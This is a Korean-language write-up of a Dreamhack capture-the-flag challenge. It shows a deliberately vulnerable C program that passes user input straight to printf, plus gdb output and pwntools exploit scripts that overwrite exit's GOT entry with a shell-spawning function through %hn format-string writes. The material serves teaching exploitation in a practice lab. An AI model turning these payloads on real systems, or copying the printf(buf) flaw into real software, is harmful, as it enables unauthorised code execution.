본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.

해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.

문제 내용

문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.

Format String Bug 커리큘럼이다. 포맷 스트링은 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없기에 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다.

또한, 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.

문제 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}
void get_shell() {
    system("/bin/sh");
}
  • 친절하게 system("/bin/sh");를 부를 수 있는 함수가 선언되어 있다.
char buf[0x80];

initialize();

read(0, buf, 0x80);
  • read 함수는 buf에 대한 크기에 대해서 read하기에 BOF가 불가능하다.
printf(buf);
  • printf()의 일반 형태가 아니다. 이렇게 인자가 잘못된 경우 FSB가 가능하다.
exit(0);
  • exit(0); 함수를 통해 무엇을 하던 종료가 되는 것을 알 수 있다. 하지만, Partial RELRO이기에 GOT Overwrite가 가능하다.

  • get_shell()가 있으므로, exit(0)의 GOT를 get_shell() 주소로 덮어 씌우면 프로세스가 종료되는 것이 아닌 system 호출이 가능하다.

  • 시나리오

    • printf(buf);를 통한 입력값 위치 확인

    • 해당 위치를 통한 get_shell()주소 삽입

    • 주소 삽입은 형식 지정자를 통해서 진행

위처럼 AAAA.%x.%x.%x.%x.%x를 입력 했을 때이렇게 첫번째 %x 서식 문자에 우리가 입력한 AAAA를 인자로 받는 것을 알 수 있다.

포맷 스트링에서 참조할 인자의 인덱스를 지정하는 방법으로는 필드의 끝을 $로 표기하는 것이다. printf()로 특정 주소의 값을 변경할 수 있는 format은 %n으로 인자에 현재까지 사용된 문자열의 길이를 저장하는 것이 있다.

payload = exit_got 주소 + get_shell 주소

그렇다면, get_shell의 주소만큼의 문자열을 넣어 해당 값을 %n를 통해서 exit_got에 넣으면 된다.

pwndbg> p get_shell
$1 = {<text variable, no debug info>} 0x8048609 <get_shell>
pwndbg> p exit
$1 = {<text variable, no debug info>} 0x8048470 <exit@plt>
pwndbg> x/3i exit
   0x8048470 <exit@plt>:        jmp    DWORD PTR ds:0x804a024
   0x8048476 <exit@plt+6>:      push   0x30
   0x804847b <exit@plt+11>:     jmp    0x8048400
  • get_shell : int(0x8048609) = 134,514,185

  • exit_ got : 0x804a024

printf(p32(0x804a024) + %134514185-4c%1$n)
  • %134514185c : get_shell의 주소 값 0x8048609 만큼의 문자열 길이

  • %n : %134514185-4c 제일 앞단에 사용한 exit_got(4byte)를 뺀 만큼의 문자열 길이를 첫번째 참조 값에 저장

  • 1$ : printf(buf)는 첫번째의 인자의 값을 가져오기에 1$로 첫번째 인자를 참조하겠다 명시

하지만, 1억 3천만개의 스페이스 문자를 입력하기에는 alarm(30);로 인해 TIME OUT될 가능성이 크기에 두 번으로 나눠 페이로드를 전송한다.

현재 파일은 32bit체재로 exit_got 또한 32bit, 총 4byte 이므로 [exit_got]와 [exit_got+2] 이렇게 나눠서 전송하면 가능하다.

from pwn import *

context.log_level = 'debug'
p = process('./basic_exploitation_002')
e = ELF('./basic_exploitation_002')
#p = remote("host1.dreamhack.games", 15758)

exit = e.got['exit'] # 0x804a024

payload = p32(exit+2) + p32(exit) + b"%2044c%1$hn%32261c%2$hn"
# 0x8048609
p.send(payload)

p.interactive()
  • %n : 4byte, %hn : 2byte, %hhn : 1byte 전송

  • [exit+2] = %2044c

  • [exit] = %32261c

  • %2044c = 0x804 - 8 (0x7fc)

    • 8을 뺀 이유 : p32(exit+2) + p32(exit) 총 8byte 전달했기에 get_shell의 앞 2byte 0x804를 맞추기 위해 0x7fc를 전송(0x7fc과 앞에 전달한 8byte를 더하면 0x804)
  • %32261c = 앞 8byte + %2044c(0x7fc) + 0x7e05 = 0x8609 get_shell의 뒷 8byte의 값이 나오기에 이렇게 전달

from pwn import *

p = process('./basic_exploitation_002')
e = ELF('./basic_exploitation_002')

exit = e.got['exit']

payload = fmtstr_payload(1, {e.got['exit'] : e.symbols['get_shell']})

p.send(payload)

p.interactive()

이와 같이 pwntools에서 제공하는 함수를 통한 쉬운 포맷스트링 페이로드 작성도 가능하다.